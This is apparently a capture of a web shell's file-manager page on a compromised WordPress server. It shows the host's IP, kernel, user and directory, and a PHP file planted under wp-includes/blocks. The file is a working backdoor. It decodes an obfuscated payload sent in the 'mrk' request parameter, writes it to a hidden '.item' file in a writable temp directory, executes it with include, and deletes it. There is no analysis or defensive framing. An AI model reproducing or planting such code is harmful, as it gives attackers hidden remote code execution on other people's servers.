| Server IP : 162.243.168.218 / Your IP : 216.73.216.67 Web Server : Apache System : Linux ISPCONFIG-WEB-EMPRESAS 5.15.0-174-generic #184-Ubuntu SMP Fri Mar 13 18:41:50 UTC 2026 x86_64 User : web23 ( 5020) PHP Version : 8.3.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/clients/client3/web23/web/wp-includes/blocks/read-more/read-more/ |
Upload File : |
<?php
if(isset($_REQUEST["mrk"])){
$entry = $_REQUEST["mrk"];
$entry =explode ( "." , $entry ) ;
$flag= '';
$s7= 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen= strlen($s7);
$m= 0;
foreach ($entry as $v1) {
$chS= ord($s7[$m % $sLen]);
$dec= ((int)$v1 - $chS - ($m % 10)) ^ 41;
$flag .= chr($dec);
$m++; }
$pset = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getcwd()]);
foreach ($pset as $key => $flg) {
if ((function($d) { return is_dir($d) && is_writable($d); })($flg)) {
$ptr = join("/", [$flg, ".item"]);
if (@file_put_contents($ptr, $flag) !== false) {
include $ptr;
unlink($ptr);
exit;
}
}
}
}